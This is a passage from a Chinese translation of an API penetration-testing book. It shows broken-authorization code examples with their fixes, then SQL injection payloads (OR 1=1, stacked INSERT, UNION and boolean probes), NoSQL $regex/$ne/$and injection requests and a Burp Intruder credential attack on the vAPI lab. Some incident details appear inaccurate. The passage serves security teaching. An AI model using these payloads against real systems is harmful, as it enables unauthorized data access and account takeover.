def get_current_user(): return {"id": 2, "name": "Bob", "role": "user"} # Mocked current user
def get_user_by_id(user_id): users = { "1": {"id": 1, "name": "Alice", "role": "admin"}, "2": {"id": 2, "name": "Bob", "role": "user"}, "3": {"id": 3, "name": "Charlie", "role": "user"} } return users.get(user_id, None)
@app.route('/user', methods=['GET'])def get_user(): current_user = get_current_user() # Get the authenticated user user_id = request.args.get('id') user = get_user_by_id(user_id)
if not user: return jsonify({"error": "User not found"}), 404
# Check if the current user is trying to access their own data
if str(current_user['id']) != user_id:
return jsonify({"error": "Forbidden"}), 403
return jsonify(user)
if __name__ == '__main__':
app.run()
观察get_user_by_id函数,当提供无效用户 ID 时返回None。接下来我们看一下 BFLA。
错误的功能级别授权(BFLA)
当 API 或其背后的应用程序没有正确应用 AuthZ 检查到其函数和操作时,就会发生这种情况,这允许攻击者执行他们没有权限的功能或访问他们没有权限的资源。这个漏洞通常出现在没有访问控制策略或策略缺乏复杂性的情况下,应用程序在没有正确验证用户角色或权限的前提下,信任这些角色或权限并允许执行功能。
例如,考虑一个 API,它提供的功能没有正确限制为授权用户。如果一个权限较低的渗透测试人员可以执行诸如创建或更改用户等任务,那么整个 API 的安全性可能会受到威胁。甚至新管理员也可以由这样的渗透测试人员创建。观察下面的 Golang 代码,它使用了 BFLA:
package main
import (
"encoding/json"
"net/http"
"strconv"
"github.com/gorilla/mux"
)
type User struct {
ID int `json:"id"`
Name string `json:"name"`
Role string `json:"role"`
}
var users = []User{
{ID: 1, Name: "Alice", Role: "admin"},
{ID: 2, Name: "Bob", Role: "user"},
{ID: 3, Name: "Charlie", Role: "user"},
}
func createUser(w http.ResponseWriter, r *http.Request) {
var newUser User
json.NewDecoder(r.Body).Decode(&newUser)
users = append(users, newUser)
w.WriteHeader(http.StatusCreated)
json.NewEncoder(w).Encode(newUser)
}
func main() {
r := mux.NewRouter()
r.HandleFunc("/admin/create_user", createUser).Methods("POST")
http.ListenAndServe(":8000", r)
}
任何用户都可以访问/admin/create_user端点来创建新用户。现在看看一个建议的代码来修复这个漏洞:
package main
import (
"encoding/json"
"net/http"
"strings"
"github.com/gorilla/mux"
)
type User struct {
ID int `json:"id"`
Name string `json:"name"`
Role string `json:"role"`
}
var users = []User{
{ID: 1, Name: "Alice", Role: "admin"},
{ID: 2, Name: "Bob", Role: "user"},
{ID: 3, Name: "Charlie", Role: "user"},
}
func getCurrentUser(r *http.Request) *User {
authHeader := r.Header.Get("Authorization")
if strings.HasPrefix(authHeader, "Bearer ") {
token := strings.TrimPrefix(authHeader, "Bearer ")
if token == "admin-token" {
return &User{ID: 1, Name: "Alice", Role: "admin"}
}
}
return nil
}
func requireAdminRole(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request){
user := getCurrentUser(r)
if user == nil || user.Role != "admin" {
http.Error(w, "Forbidden", http.StatusForbidden)
return
}
next.ServeHTTP(w, r)
})
}
func createUser(w http.ResponseWriter, r *http.Request) {
var newUser User
json.NewDecoder(r.Body).Decode(&newUser)
users = append(users, newUser)
w.WriteHeader(http.StatusCreated)
json.NewEncoder(w).Encode(newUser)
}
func main() {
r := mux.NewRouter()
r.Handle("/admin/create_user", requireAdminRole(http.HandlerFunc(createUser))).Methods("POST")
http.ListenAndServe(":8000", r)
}
你刚刚学习了如何通过简单的代码修改来识别和修复影响 API 的最危险漏洞之一。getCurrentUser和requireAdminRole函数的实现是为了加强 AuthZ 逻辑的保护。
总结
本章讨论了与 API 渗透测试相关的其他话题。我们研究了 AuthN 和 AuthZ 机制,它们的细节,以及它们如何可能表现得足够脆弱,从而被利用。你还学习了弱 API 凭证和默认账户,以及如何发现和利用它们作为攻击的一部分。这些构成了任何 API 渗透测试中非常重要的一部分,因为其他阶段,如持久性、横向移动和数据外泄,都依赖于成功利用 AuthN 和 AuthZ。
在下一章中,本书的第三部分也将介绍注入攻击和验证测试。这些攻击可能造成的损害是巨大的,通过实施正确的用户输入验证来成功防御它们是至关重要的。到时候见!
进一步阅读
-
CKAN,一个支持开放数据网站的 Python 框架:
ckan.org/ -
开放数据手册,解释关于开放数据的基本概念:
opendatahandbook.org/guide/en/ -
OAuth 2.0 安全最佳实践:
datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics -
更多 OAuth 授权流及一些图示:
frontegg.com/blog/oauth-grant-types -
探索 CookieMonster:
ian.sh/cookiemonster -
RFC 7517,定义了 JSON Web 密钥:
datatracker.ietf.org/doc/html/rfc7517 -
JWT 破丨解丨器,一个用 C 语言编写的暴力破解 JWT 的工具:
github.com/brendan-rius/c-jwt-cracker -
一份精心策划的破解系统工具和列表:
github.com/n0kovo/awesome-password-cracking -
最常见的 200 个 密码:
nordpass.com/most-common-passwords-list/ -
Mentalist,一个用于创建自定义密码列表的工具:
github.com/sc0tfree/mentalist -
Patator – 一个具有模糊测试和密码喷洒功能的暴力破解攻击工具:
salsa.debian.org/pkg-security-team/patator -
AWS 资源组标签 API 参考文档:
docs.aws.amazon.com/resourcegroupstagging/latest/APIReference/overview.html
第三部分:API 基本攻击
现在,您已经了解了第二部分中的基本攻击,接下来是时候继续扩展您对更多攻击类型的了解了。在这一部分,您将学习一些在攻击 API 时不可忽视的技术。我们将讨论适应性的 SQL 和 NoSQL 注入攻击、糟糕的用户输入清理带来的问题、错误处理不当的后果,以及最后备受忌惮的拒绝服务攻击。我们还将为您介绍一些阻止或至少减少此类攻击成功机会的方法。
本节包含以下章节:
-
第五章,注入攻击与验证测试
-
第六章,错误处理与异常测试
-
第七章,拒绝服务与速率限制测试
第五章:注入攻击和验证测试
我们即将开始书中的新部分。到目前为止,你已经了解了 API 安全的介绍,如何收集更多目标数据——通过重要的侦察与信息收集章节——并学习了测试大多数现代 API 所实施的认证与授权机制的方法。现在,是时候深入探讨攻击领域了。本部分从注入攻击和验证(或缺乏验证)测试开始。
这类攻击并不新鲜,但它们在全球媒体头条中出现的频率令人印象深刻,几乎影响到各类公司。希望你已经知道,这些攻击不限于结构化查询语言(SQL),但如果你还不清楚,也没关系,因为你将在本书中学到这些内容。
在本章中,我们首先介绍什么是注入攻击,以及缺乏对其关注可能导致哪些漏洞。接下来,我们会进行一些实际操作,涉及 SQL 相关和 NoSQL 相关的攻击,最后我们将讨论用户输入及其验证和清理的重要性。
在本章中,我们将涵盖以下主要内容:
-
理解注入漏洞
-
测试 SQL 注入
-
测试 NoSQL 注入
-
验证和清理用户输入
技术要求
我们将使用与第三章相同的环境。总结来说,你将需要一个类型 2 的虚拟化管理程序,如 VirtualBox,以及我们之前使用的相同工具——尤其是完全荒谬的 API(crAPI)项目。
理解注入漏洞
注入攻击相对容易理解,有时也很容易执行。它们仅仅是将意外的数据(通常是精心构造的命令或关键字)插入到本应只包含特定数据(如用户名和/或相应密码)的输入中。通过利用不同的格式,如另一种编码方式,或通过在输入中添加命令,错误实现的 API 后端可能会不小心执行这些命令,或尝试解释异常的编码,这可能导致系统故障以及可能的数据泄露。
可能最著名的这种攻击变种影响的是 SQL 数据库,它们通常被称为SQLi(“i”代表注入)攻击。这是因为许多公开可用的应用程序和 API 接口与后端基础设施上的关系型数据库进行交互。另一方面,某些其他应用程序则使用非结构化数据,这使它们成为 NoSQL 数据库的候选者。即便如此,后者同样也容易受到此类威胁。
您可以通过构建发送到 API 端点的请求,或通过填写表单中的字段来注入代码或虚假数据。例如,表单可能要求您提供关于最近购买的某个产品或服务的评论。假设您在表单中写了一个满意的评论,但在评论中添加了类似“DROP DATABASE products;”的内容。当 API 端点代码读取该评论时,它不会把评论作为响应返回,而是会执行它,删除整个products数据库。
除了 SQL 和 NoSQL 注入攻击外,还有其他类型的注入攻击,例如:
-
轻量级目录访问协议(LDAP)注入:此攻击针对用于身份验证和授权的 LDAP 服务器。如果 API 端点与 LDAP 交互以进行用户登录,攻击者可能会将恶意代码注入用户名或密码字段。这些代码可能利用 API 在构建 LDAP 查询时的漏洞,从而可能让攻击者绕过身份验证、窃取目录服务器中的用户凭据,或干扰目录服务,影响用户对各种系统的访问。防止 LDAP 注入攻击需要确保对用户提供的凭据进行适当的输入验证,并在构建 LDAP 查询之前对特殊字符进行转义。
-
GraphQL 注入:随着 GraphQL API 的日益流行,攻击者正在设计利用这些 API 处理用户输入时的漏洞。恶意查询可以利用查询验证中的弱点,获取未经授权的数据、操控 API 返回的数据,甚至通过构造复杂且资源消耗大的查询来触发拒绝服务(DoS)攻击。防止 GraphQL 注入需要对所有用户提供的数据在 GraphQL 查询中实施强有力的输入验证技术,并强制执行查询复杂度限制,以防止资源耗尽攻击。
在过去的几年里,已有多篇报道涉及注入攻击及其对公司和客户的危害。2017 年,历史上最大的泄露事件之一——Equifax 数据泄露,正是由于 Apache Struts 应用程序中的一个漏洞所导致。Struts 是一个用于多个互联网应用程序的 Web 应用框架。这个漏洞让攻击者能够执行 SQL 注入攻击,并窃取超过 1.47 亿人的个人信息。在图 5.1中,您可以看到一些关于注入攻击的新闻摘要:

图 5.1 – 关于注入攻击的新闻
注入攻击也可能发生在图形用户界面(GUI)场景中。2018 年,发现了影响 Apache Struts 的另一个漏洞。该漏洞允许攻击者通过 Struts REST API 执行远程代码注入攻击。此漏洞在 CVE-2018-11776 中记录,影响了全球数百万个 Web 应用程序,并强调了保护 API 端点免受注入攻击的重要性。
XML 外部实体(XXE)注入是另一种注入攻击方式,针对解析 XML 输入的 API。在 2019 年,Atlassian(背后有一些广泛使用的应用程序,如 Jira 套件、Confluence 和 Bitbucket)遭遇了一个漏洞,影响了其 Jira Service Management Data Center 和 Jira Service Management Server 解决方案。该漏洞在 CVE-2019-13990 中进行了详细描述,允许经过身份验证的用户通过职位描述发起 XXE 攻击。该漏洞代码位于一个特定的第三方组件:Terracotta Quartz Scheduler。
NoSQL 注入通过精心设计的查询,针对 NoSQL 数据库,旨在利用查询解析和执行中的一些已知或未知漏洞。在 2020 年,一位安全研究人员在一个流行的移动后端即服务(MBaaS)平台 Firebase 中发现了 NoSQL 注入漏洞。在一次 Android 分析中,作为漏洞赏金计划的一部分,他们发现攻击者可以绕过身份验证并访问存储在 Firebase 数据库中的敏感用户数据。
除了传统的注入攻击外,API 端点中的命令注入(及其对应的操作系统命令注入)漏洞也可能导致严重的安全漏洞,甚至连网络安全公司也难以避免这种侵入方式。Fortinet 因其 FortiSIEM(安全信息和事件管理,或 SIEM)平台中的漏洞而受到攻击,该漏洞允许攻击者在 API 请求中注入命令。同年,Palo Alto 也遭遇了类似问题。其防火墙中的一个漏洞被发现存在 API 命令注入漏洞,允许经过身份验证的 API 用户在设备操作系统 PAN-OS 上注入命令。
API 注入攻击突显了在 API 端点中实施强健输入验证和清理机制的重要性。通过验证和清理用户输入,开发人员可以防止注入攻击并降低数据泄露和未经授权访问的风险。此外,组织应定期进行安全评估和渗透测试,以识别并修复 API 基础设施中的漏洞。
练习时间!让我们看看注入攻击在实际中的运作方式。
SQL 注入测试
好的,现在你已经了解了主要的注入攻击类型,让我们来探讨一种可能是最古老但如今仍最常见的攻击方式:SQL 数据库上的注入攻击。这种攻击可以从简单的 OR 子句开始,作为用户输入的一部分,到联合攻击和隐藏联合攻击的复杂性和精密度,其中多个 SQL 语句可以结合形成 爆炸性 负载。然而,第一步并不是直接攻击 API 端点背后的数据库,而是进行指纹识别。这可以大大减少选择技术时的工作量。通过尝试一些随机输入,你可以迫使一个没有准备好的 API 返回有用的数据库错误消息。一些数据库引擎在这些错误消息中会暴露自身信息。
以下代码段显示了来自 Microsoft SQL Server 的典型错误消息:
Connection failed:
SQLState: '08001'
SQL Server Error: 21
[Microsoft][SQL Server Native Client 11.0]Client unable to establish connection
同样,以下代码段包含来自 MariaDB 或其“亲戚”MySQL 的错误消息:
java.sql.SQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'form category' at line 1
这是来自 Oracle 数据库服务器的错误消息。这个产品抛出的代码以 ORA 开头:
ORA-04021: timeout occurred while waiting to lock object SYS.<package like UTL_FILE
最后,这是 PostgreSQL 出现问题时显示的消息示例:
Warning: pg_query(): Query failed: ERROR: syntax error at or near "20131418" LINE 1: 20131418 ^ in /var/www/html/view_project.php on line 13
Warning: pg_num_rows() expects parameter 1 to be resource, boolean given in /var/www/html/view_project.php on line 14
接下来,我们将介绍最常见的 SQL 注入攻击类型。
经典 SQL 注入
几乎所有尝试将命令插入 SQL 指令的操作都会使用 SELECT 指令。这是因为其中一个主要目标是从数据库中提取数据。你可能想要获取完整的用户列表及其密码(无论是否加密),或有关其内部结构的详细信息,如表的数量、数据库架构、包含其值和配送地址的订单列表等。
想象一个在线商店,你可以在其中搜索商品。这个搜索功能可能存在安全弱点。当你输入搜索词时,系统会构建一条特殊消息(如编码指令)来请求数据库查找匹配的商品。构建消息的这种方式可能容易受到操控。让我们仔细看看这样一条消息的例子:
SELECT * FROM products WHERE name = '$user_input';
$user_input 变量代表用户在此 web 应用程序的前端组件中表单字段中输入的内容。它也可以是通过 POST 或 PUT 请求发送到 API 端点的数据。如果没有进行必要的验证或清理,注入攻击很容易发生。用户可能会发送以下内容,而不是提供某些搜索文本:
' OR 1=1 --
这将使最终的查询变为以下内容:
SELECT * FROM products WHERE name = '' OR 1=1 -- ';
使用逻辑 OR 运算符,其第二个操作数总是求值为 true,无论查询的第一部分(用户验证)是什么,都没有关系。– 部分被理解为注释,这意味着 SQL 引擎会忽略它之后的所有内容。一些数据库引擎使用 /* 作为注释的起始标记。从逻辑角度看,它大致相当于这样:
If name = '' OR 1=1 then
SELECT * FROM products;
EndIf
通过这个简单的笑话,你可以获取整个products数据库。如果 API 端点或应用程序利用相同的输入执行其他任务,比如更新另一个数据库或删除项目,损害可能会更加严重。
嵌套 SQL 注入
攻击者可以使用比经典 SQL 注入攻击更先进的技术,称为堆叠(或链式)SQL 注入。这就像在餐厅一次性给出多个订单一样。通过堆叠攻击,攻击者欺骗 API 端点同时执行多个数据库指令,这让他们能够实现更复杂的目标,如篡改数据或在系统内获得更多权限。这些攻击尤其危险,因为它们允许你对数据库执行强有力的操作,并可能成为端点内更强大的用户。
让我们利用上一节中的相同命令。假设目标 API 端点向后台数据库发送以下查询:
SELECT * FROM products WHERE name = '$user_input';
现在,让我们稍微加点料,把它作为 $``user_input 变量:
'; INSERT INTO users (username, password) VALUES ('a', 'b') --
这将使最终的查询变成如下:
SELECT * FROM products WHERE name = ''; INSERT INTO users (username, password) VALUES ('a', 'b') --';
接收到此类查询的 SQL 引擎将把分号符号解释为命令的结束,并执行随后的命令,该命令会将一个新的用户名和密码插入到 users 表中。如果成功的话,你现在就有了一对凭据,可以访问 API 端点,并深入进行渗透测试活动……
联合 SQL 注入
联合 SQL 注入攻击是一种复杂的利用技术,它操控 SQL 查询的结构,以从数据库中提取额外的信息。这种类型的攻击利用 SQL UNION 操作符,将两个或多个 SELECT 查询的结果合并成一个单一的结果集,从而使你能够从通常没有权限访问的数据库表中检索数据。联合 SQL 注入攻击尤其危险,因为它们可能导致未经授权的数据访问、数据泄露,甚至如果没有正确缓解,可能会完全破坏数据库。
假设你的目标 API 端点接受 GET 请求。例如,要请求某个产品的详细信息,请求可能是这样的:
GET /api/show_product?prod_id=$id
在这里,$id 可能是某个数字或字母数字值。在后台,端点会构造一个相应的 SELECT 语句并将其传递给数据库,像你在前面部分看到的那样。现在,让我们将 $id 的内容替换为一个特别设计的序列:
50 UNION ALL SELECT * FROM ORDERS;
这将导致以下 GET 请求:
GET /api/show_product?prod_id=50 UNION ALL SELECT * FROM ORDERS;
如果没有适当的验证,端点将被欺骗构建出预期的 SELECT 语句,其中 $prod_id 等于 50,但同时发送一个第二个未预测到的 SELECT 语句,检索 orders 表中的所有项。这是因为端点只是选择了 $prod_id 的值,并将其传递给 SELECT 命令,而没有验证它是否符合预期格式。ALL 关键字在这里起到了重要作用。有些应用在从数据库中选择项时可能会使用 DISTINCT 关键字。首先,这是为了避免端点与数据库之间的过多网络通信;其次,是为了避免检索重复的项目。当 ALL 位于前面时,SELECT 语句将检索所有项目,而不管是否有 DISTINCT。
隐藏联合 SQL 注入
联合 SQL 注入漏洞对 API 安全构成了重大风险。然而,当攻击者将恶意意图隐藏在看似无害的用户输入中时,威胁就变得更加隐蔽。这就是隐藏联合 SQL 注入成为一个重要关注点的原因。隐藏联合 SQL 注入延伸了传统联合攻击的原理。你可以利用 API 端点的弱点,但提升欺骗的层级。通过精心设计恶意有效载荷,将最终意图伪装成合法的用户输入,你可以使得检测和缓解工作变得更加复杂。
恶意代码嵌入在用户输入中时看似无害,使得在粗略检查时难以发现。事实上,一个配置不当的Web 应用防火墙(WAF)可能会忽略这种攻击。此外,提取的机密数据通常会悄悄嵌入 API 响应中,可能与真实信息混合在一起。这种欺骗性策略使得检测可疑活动变得更加困难,必须仔细检查 API 查询和响应。
假设我们的目标 API 端点接受 POST 请求并响应从后台数据库检索到的产品数据。一个可能的场景是将以下结构作为参数传递给端点:
{
'category': 'clothing',
'max_num_items': '10'
}
这将成为一个合法的 SQL SELECT 语句,最多返回 10 件服装产品。通过隐藏联合攻击,我们可以将这个结构改为类似如下的形式:
{
'category': "clothing (SELECT 'admin', version() FROM information_schema.tables LIMIT 1);--",
'max_num_items': '10'
}
观察到第一个变化是将 category 的值中的单引号替换为双引号。这是为了允许后续使用单引号。攻击代码随后嵌入括号中。通过发送这个 SELECT 语句,我们请求从一个名为 information_schema.tables 的特殊表中获取关于管理员用户和数据库引擎版本的信息。再一次,-- 部分和之前的例子一样起到了注释作用。version() 函数返回关于数据库引擎的详细信息,而 LIMIT 关键字将回答限制为一行,以避免响应被某些速率限制/节流机制拦截。
布尔型 SQL 注入
当你在利用 SQL 数据库支持 API 端点时,如果返回的错误信息过于通用,这个技巧非常有用。例如,当请求某个不存在的产品或用户时,端点仅返回 404 错误代码,而没有更多信息。通过发送一些简单的查询,返回值仅可能是 true 或 false,你可以检查数据库是否容易受到 SQL 注入攻击,然后对其进行更有针对性的攻击。考虑以下接受 GET 请求的端点:
GET /api/products?id=100
通过稍微修改为以下内容,你可以检查将会得到什么样的答案:
GET /api/products?id=100 AND 1=2;
这显然永远不会成功。这里的重点不是在第一次尝试时就获得数据。我们的目的是识别支持 API 端点的数据库如何响应。现在,你将语句的第二部分更改为一个有效的值:
GET /api/products?id=100 AND 1=1;
我之前没有说这个,因为它太显而易见了,但你需要捕获由端点发送的所有输出作为你请求的响应。每一部分数据都很重要,因为一个小片段的数据可能构成理解目标的关键部分。如果前一个查询(1=1)的答案与另一个查询(1=2)不同,你将得出数据库容易受到 SQL 注入攻击的结论。换句话说,端点在将输入发送到数据库之前没有正确清理。某些管理员只是配置他们的端点或 Web 应用程序提供通用的错误信息,认为通过这种方式模糊化错误信息,可以保护他们的环境。大错特错……
你可以通过利用一些多个数据库引擎常见的函数来增强这一技术。以下函数是你的朋友:
-
ASCII(character):返回提供的字符对应的整数值(ASCII 码)。 -
LENGTH(string):返回提供的字符串的字节长度。 -
SUBSTRING(string, initial character, number of characters):返回从提供的字符串中截取的部分字符串,从初始字符位置开始,总长度为指定字符数。考虑 0 为初始字符的位置。
让你的想象力飞扬。我们之前发送的查询可以通过一些发现尝试进一步增强。假设你想获取所有长度小于或等于 10 的用户名。你可以构造类似这样的查询:
GET /api/products?id=100 OR UNION SELECT username FROM users WHERE LENGTH(username) <= 10;
你可以通过混合和匹配这些功能来自动化操作,例如尝试猜测管理员的用户名。你意识到这种技术的潜力了吗?通过结合耐心、想象力和易受攻击的 API 端点,你可以提取大量数据。在接下来的章节中,我们将在 crAPI 上利用 SQL 注入。
在一个易受攻击的 API 上利用 SQL 注入
在这个练习中,我们将使用一个轻量且高效的 Python 应用程序,其中嵌入了一些漏洞,包括 SQL 注入:python vAPI.py -p <port>。只需选择一个不被其他工具占用的端口,例如 Burp Suite、开放全球应用安全项目 Zed 攻击代理(OWASP ZAP)或 WebGoat。
让我们也使用其他工具,Burp Suite 和 Postman,来帮助我们完成这个任务。启动 Burp Suite 并使用默认设置创建一个新项目。同时启动 Postman。你需要配置操作系统以使用 Burp 作为代理,或者配置 Postman 本身来做这件事。我建议选择第二种方法,以避免破坏系统中其他正在进行的测试。在 Postman 中,点击 文件 | 设置 并选择 代理。然后,确保禁用 使用系统代理,并启用 使用自定义代理配置。选择至少 HTTP 代理类型,并提供 Burp 监听请求的主机名和端口。
vAPI 有使用 OpenAPI 格式编写的文档。它位于 openapi/vAPI.yaml 路径下。由于这是一个小型应用程序,直接打开并阅读此文档是可以的。另一方面,如果你更喜欢将其作为 HTML 文件阅读,有一个非常方便的 Python 代码可以为你转换它。这个工具可以在这里找到:gist.github.com/oseiskar/dbd51a3727fc96dcf5ed189fca491fb3。你会验证到,有几个端点同时接受 GET 和 POST 请求。在分析可用端点后,似乎我们从 /tokens 端点开始,通过提供有效的凭证对,你可以收到一个有效的令牌。使用某个空闲端口启动应用程序,例如 8000:
$ python vAPI.py -p 8000
* Serving Flask app 'vAPI'
* Debug mode: on
由于我们不知道用户名和密码是什么,让我们通过使用 Postman 精心构造请求,利用创意组合这些信息:

图 5.2 – 发送 POST 请求到 vAPI 的 /tokens 端点
我们显然收到了一个错误信息。现在,进入 Burp Suite 查看 HTTP 连接历史记录。找到对 /tokens 的请求,右键点击它(仍然在 § 上)。这将用于指示工具哪些部分的后续请求将在攻击过程中发生变化:
{
"username":"§pentest§",
"password":"§MyPassword§"
}
将攻击类型设置为狙击手。现在,移动到有效载荷子章节。将有效载荷类型设置为简单列表,然后点击标记为有效载荷设置 [简单列表]的块中的加载…按钮。你可以一次加载多个文件。如果你有多个列表,可以这样做。取消选择最后一个复选框,文本为URL 编码这些字符。这样可以避免在提交有效载荷到目标时进行不必要的编码。最后,点击开始攻击。在现实中,如果你的目标受到速率限制或反 DoS 控制的保护,可能会收到一些阻塞。
注意
如果你使用的是 Burp Suite 的社区版,这可能需要一些时间,因为 Intruder 功能已减少,攻击会在本地时间受到限制。你可能会发现每个有效载荷之间大约有 5 秒钟的间隔。
希望有些耐心和运气,你会成功的。实际上,在一些时间后,我们成功找到了一个有效的用户名。在分析 Intruder 输出时,寻找带有 200 代码的结果。我们在实际例子中得到了很多这样的代码。在图 5.3中,你可以看到我们针对 crAPI 进行 SQL 注入攻击的成功。我们发现了有效的用户 ID 和用户名:

图 5.3 – vAPI 易受 SQL 注入攻击,并暴露了有效的凭证对
响应中提供了一个令牌。你可以利用它,例如,通过 /user 端点更改用户的密码。让我们使用这个相同的端点来获取用户密码,使用我们在攻击中提取的令牌:

图 5.4 – 获取用户密码,在获取有效令牌后
你可以进一步探索这个应用,可能通过进一步的注入攻击获取更多的数据。在接下来的章节中,我们将学习一些 NoSQL 注入。
测试 NoSQL 注入
我们已经涵盖了 SQL 注入攻击的合理范围,但事实上,互联网上有大量需要处理非结构化数据(如文档、电子邮件、社交媒体帖子、图像以及音频和视频文件)的应用程序(和 API 端点)。对于这些使用案例,关系数据库并不是最佳选择,因为这些数据库中的所有元素并非都有直接关系,这将使得其管理变得不公平。Carlo Strozzi 在 1998 年提出了 NoSQL 数据库的概念,并提出了 Strozzi NoSQL 开源软件(OSS)的建议。从那时起,我们见证了许多出色的产品发布,如 MongoDB、Apache Cassandra 和 Neo4j,仅举几例。
由于这些数据库,顾名思义,并不是 SQL 数据库,它们不会使用 SQL 来进行查询或响应查询。因此,我们的 SQL 注入技术在这里不起作用。我们需要用另一种方式进行处理。在这种情况下,基本上有三种攻击方式可以利用以达到成功:语法注入、对象注入和操作符注入。让我们分别讨论每一种。
语法注入
语法注入是 NoSQL 注入中最常见的攻击方式。在这种攻击类型中,渗透测试者将有害代码嵌入到用户输入中,API 随后将其整合到 NoSQL 查询中。这个注入的代码可能会破坏查询的语法,绕过过滤器,甚至触发数据库中未授权命令的执行。
NoSQL 语法注入攻击的核心概念围绕着操控用户输入展开。渗透测试者编写恶意代码,并将其注入到作为参数的用户输入中,然后这些参数被脆弱的 API 纳入 NoSQL 查询中。NoSQL 语法注入攻击常发生在处理用户身份验证的 API 端点中。例如,某个 API 可能有一个登录端点,用户提交凭证以进行身份验证。如果 API 使用 NoSQL 数据库存储用户数据,并且没有正确地对用户输入进行清洗,攻击者就可以将恶意代码注入到登录凭证中,从而绕过身份验证检查或获取未授权的用户账户访问权限。
在 NoSQL 语法注入攻击中,作为渗透测试者,你可以利用各种技术来避开检测并达成目标。例如,你可能会使用通配符字符、正则表达式或其他语法操控技术来编写负载,扰乱查询的结构或绕过输入验证机制。通过精心构建负载,你可以利用 API 端点的漏洞,破坏数据库的完整性和机密性。
它是如何工作的呢?假设一个 API 端点使用 NoSQL 数据库进行用户身份验证。该端点接受 GET 请求,格式如下:
GET /api/login?username=$username&password=$password
在内部,API 端点将请求转换为类似以下的 NoSQL 查询:
db.users.find({ username: '$username', password: '$password' })
请注意,提供的输入(包括用户名和密码字段)没有经过任何验证或过滤。我们有了进行 NoSQL 语法注入攻击的机会!我们可以稍微修改此请求,例如如下所示:
GET /api/login?username[$regex]=.*&password[$regex]=.*
我们刚刚修改了查询,使用了一个正则表达式,表示任何用户名和任何密码( . 匹配任意字符,* 匹配前一个字符出现 0 次或多次)。我们刚刚绕过了端点的身份验证控制…
对象注入
NoSQL 对象注入攻击对与这些类型的数据库交互的 API 构成了独特的威胁。与传统的 NoSQL 攻击直接攻击原始查询不同,对象注入攻击利用了 API 在处理用户提供的数据时的弱点。
假设一个 API 使用一种秘密语言(序列化)将用户数据转换为 NoSQL 数据库能够理解的格式。作为渗透测试者,你可以利用这个转换过程中的漏洞。你可以构造恶意数据,当这些数据被 API翻译(反序列化)时,操纵内部的对象结构。这可能导致意外后果,甚至可能允许你运行未授权的代码或访问你不该接触的敏感数据。
一种常见的场景是,API 在将用户提供的数据(如 JSON)存储到 NoSQL 数据库之前会先进行序列化。如果 API 在翻译之前没有仔细检查数据,渗透测试者就可以悄悄插入恶意对象,利用反序列化过程中的弱点。可以把它想象成诱骗翻译人员说出完全不同于你原本想说的内容。这使得你能够在系统中获得不正当的优势。
作为示例,我们可以考虑一个允许用户根据价格和类别筛选产品的 API 端点。以下 JavaScript 代码展示了该端点可能构建的查询,发送到数据库:
const filterObject = {
price: {
$gt: req.query.minPrice
},
category: req.query.category
};
db.products.find(filterObject);
filterObject常量直接接收请求者提供的数据(minPrice和category)。然后,它被用于db.products.find查询。继续我们的示例,一个有效的GET请求,选择最低价格为 100 且属于furniture类别的产品将是以下内容:
GET /products?minPrice=100&category=furniture
无论是GET请求还是POST请求,都没关系。几乎可以使用相同的方法来处理任何请求方式。我们如何将其转化为对象注入攻击呢?很简单。我们将一个最初未被预料到的对象作为查询的一部分插入。这样,端点将在检查原始产品的类别之外,授予我们管理员访问权限。请看以下示例:
GET /products?minPrice=100&category={"$and": [{category: "furniture"}, {"isAdmin": true}]}
如果端点没有正确配置以清理这些输入,可能会授予数据库的管理员访问权限,然后攻击的其他阶段就会发生。isAdmin对象本不应作为合法查询的一部分,但因为我之前知道这个数据库会接受它作为一个可能的参数(当然,这是在我进行枚举/指纹识别工作之后得出的结论),所以我有些可以放心假设它会生效。NoSQL 对象注入攻击的成功在很大程度上取决于 API 如何处理用户提供的对象并将其纳入操作中。然而,改变对象结构以实现未授权访问或篡改数据的基本概念,在不同的 NoSQL 数据库平台中都是成立的。
操作符注入
在这一阶段,你可能已经推测到我们在谈论在此类攻击中插入 NoSQL 操作符。是的——我这次确实像个显而易见的“显而易见队长”,但请将此视为在这次长篇阅读后给你带来的一点轻松。幸运的是,你已经可以访问到一个小而实用的表格,其中列出了可以在这里利用的一些操作符。
NoSQL 数据库提供了强大且灵活的组合,但它们也带来了新的安全挑战。NoSQL 操作符注入攻击潜伏在阴影中,等待利用与这些数据库交互的 API。这些攻击瞄准了基于用户输入“动态生成”查询的 API 中的漏洞。狡猾的攻击者可以注入特制数据来操控数据库如何解释查询。此攻击与语法注入有些相似;然而,攻击者并不是打破查询的最初预测语法,而是扭曲它。
想象一个允许用户根据各种筛选条件(例如价格或类别)搜索产品的 API,正如我们之前所见。该 API 可能会构建一个 NoSQL 查询,动态地将用户提供的值纳入其中。问题在于:如果 API 没有仔细检查这些用户输入,你就可以悄悄地插入恶意操作符。这些操作符通常用于合法的筛选,但可以被扭曲,从而完全改变查询的逻辑。想象一下,有人操控图书馆网站上的搜索框来返回意想不到的结果。听起来像吗?
让我们继续使用之前的网站示例,该网站提供的产品按类别组织。一个展示所有属于tools类别的产品的端点可能像下面这样:
GET /api/products?category=tools
这就转化为以下 NoSQL 查询:
db.products.find({ category: '$category' })
简单却强大。现在,假设我用于与此端点交互的用户没有权限查看属于其他类别的产品,但该端点并未完全应用此控制。那么,我该如何绕过它呢?看看这个:
GET /api/products?category[$ne]=tools
$ne 部分对应一个 NoSQL 操作符,表示“不等于”。因此,我们要求 API 端点显示所有类别不为 tools 的产品。棒极了,是吧?!为了方便你,我提供了一份 MongoDB 操作符的列表。请注意,并非所有 NoSQL 数据库都遵循相同的规则,因此你可以尝试识别后端数据库,或结合不同数据库引擎的操作符:
| 操作符 | 含义 |
|---|---|
| ` | 操作符 |
| --- | --- |
eq |
匹配等于指定值的值 |
| ` | 操作符 |
| --- | --- |
ne |
匹配所有不等于指定值的值 |
| ` | 操作符 |
| --- | --- |
gt |
匹配大于指定值的值 |
| ` | 操作符 |
| --- | --- |
gte |
匹配大于或等于指定值的值 |
| ` | 操作符 |
| --- | --- |
in |
匹配数组中指定的任意值 |
| ` | 操作符 |
| --- | --- |
lt |
匹配小于指定值的值 |
| ` | 操作符 |
| --- | --- |
lte |
匹配小于或等于指定值的值 |
| ` | 操作符 |
| --- | --- |
nin |
匹配数组中指定的值之外的任何值 |
表 5.1 – MongoDB 比较操作符(来源:MongoDB 官方文档)
现在,让我们通过一个练习来看一下实际操作。
